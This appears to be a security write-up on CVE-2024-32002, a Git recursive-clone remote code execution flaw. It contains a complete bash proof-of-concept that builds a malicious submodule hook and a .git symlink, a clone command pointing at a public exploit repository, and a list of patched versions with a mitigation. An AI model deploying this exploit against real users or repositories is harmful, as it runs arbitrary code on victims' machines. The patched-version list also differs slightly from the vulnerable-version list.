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Vulnerability of Git Clone Remote Code Execution (CVE-

2024-32002) 
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① Attacker configures a malicious remote repository  

② Attacker closes the remote repository with malicious script  

③ Malicious script is automatically executed by CVE-2024-32002 

④ After executing malicious script, attacker snatches victim’s information through intrusion

S/W Vulnerable Version 

Git 
Versions before 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.4, 

2.40.2 and 2.39.4 

Name Information 

Victim 

Microsoft Windows 10 version 22H2 

Git 2.45.0.windows.1 

(192.168.216.130) 

Attacker 
Kali Linux 

(192.168.216.129) 
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git --version 

$ git clone --recursive {attacker’s repository address} 
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git config --global core.symlinks true 
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#!/bin/bash 

git config --global core.symlinks true 

 

# initialize submodule repository 

git init hook 

cd hook 

mkdir -p y/hooks 

 

# insert malicious script (run calc.exe) 

cat > y/hooks/post-checkout <<EOF 

#!/bin/bash 

calc.exe 

EOF 

 

# authorize script run 

chmod +x y/hooks/post-checkout 

 

# add submodule repository 

git add y/hooks/post-checkout 

# commit submodule repository 

git commit -m "post-checkout" 

 

cd .. 

 

# initialize main repository 

git init eqst 

cd eqst 

# add submodule in main repository 

git submodule add --name x/y "/c/dev/hook" A/modules/x 

# commit submodule repository 

git commit -m "add-submodule" 

 

# generate symlink 

printf ".git" > dotgit.txt 

git hash-object -w --stdin < dotgit.txt > dot-git.hash 

printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info 

git update-index --index-info < index.info 

git commit -m "add-symlink" 

cd .. 
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GIT_TRACE=1 git clone --recursive eqst eqsttest 
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git clone --recursive https://github.com/EQSTSeminar/git_rce.git 

 

https://github.com/EQSTSeminar/git_rce
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Product Patch Version 

Git Versions after 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2 and 2.39.4 

git config --global core.symlinks false 

 

https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv
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